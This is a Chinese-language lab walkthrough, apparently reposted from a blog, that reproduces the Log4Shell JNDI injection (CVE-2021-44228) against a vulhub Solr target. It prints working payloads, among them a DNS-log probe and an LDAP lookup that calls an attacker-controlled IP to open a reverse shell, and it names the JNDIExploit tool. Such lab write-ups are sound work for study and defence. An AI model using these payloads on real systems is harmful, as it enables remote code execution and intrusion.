Apache Log4j-漏洞复现(CVE-2021-44228)

Posted 星球守护者

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Apache Log4j-漏洞复现(CVE-2021-44228)相关的知识,希望对你有一定的参考价值。

漏洞描述

  • Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具
  • 该工具重写了Log4j框架,并且引入了大量丰富的特性。
  • 我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
  • 该日志框架被大量用于业务系统开发,用来记录日志信息
  • Apace在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于$jndi:ldap://evil.com/example的lookup用于进行JNDI注入,执行任意代码。

漏洞编号

  • CVE-2021-44228

影响范围

  • log4j2是全球使用广泛的java日志框架,同时该漏洞还影响很多全球使用量的Top序列的通用开源组件,
  • 攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,
  • Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响

POC
$jndi:ldap://dnslog地址

FOFA

app=Apache httpd

环境搭建

cd Desktop/vulhub-master/log4j/CVE-2021-44228
docker-compose up -d

访问靶机环境:
访问http://127.0.0.1:8983/solr/#/

漏洞复现

第一步 获取java版本信息
构造:$jndi:dns://$sys:java.version.example.com是利用JNDI发送DNS请求的Payload:

http://192.168.253.147:8983/solr/admin/cores?action=$jndi:ldap://$sys:java.version.ym3739.dnslog.cn

查看dnslog

漏洞复现-反弹shell

第一步 拓扑图

第二步 搭建JNDIExploit.v1.2,并启动

window-ip-192.168.253.141
Java -version
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.253.141 -p 6666

第三步 攻击机开启监听端口
centos-ip-192.168.253.138

第四步 发送payload

/solr/admin/cores?action=$jndi:ldap://192.168.253.141:1389/Basic/ReverseShell/192.168.253.138/4444

  • http://127.0.0.1:8983为靶机的地址
  • 192.168.253.141为json地址
  • 192.168.253.138为攻击机ip地址,此时要反弹shell

第五步 查看结果


参考连接

https://github.com/zzwlpx/JNDIExploit
https://github.com/black9/Log4shell_JNDIExploit
https://github.com/IR0DayToday/JNDIExploit

摘抄


敬往事如云
岁月悠悠情何以堪

昭华倾负


### 免责声明 `本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!由于使用不当造成的后果上传者概不负责!`

以上是关于Apache Log4j-漏洞复现(CVE-2021-44228)的主要内容,如果未能解决你的问题,请参考以下文章

永恒之黑(CVE-2020-0796 微软SMBv3协议远程代码执行漏洞)

永恒之黑(CVE-2020-0796 微软SMBv3协议远程代码执行漏洞)

永恒之黑(CVE-2020-0796 微软SMBv3协议远程代码执行漏洞)

Azul 发布 Log4j 漏洞相关声明

Azul 发布 Log4j 漏洞相关声明

(环境搭建+复现)CVE-2021-44228 Apache Log4j 远程代码执行漏洞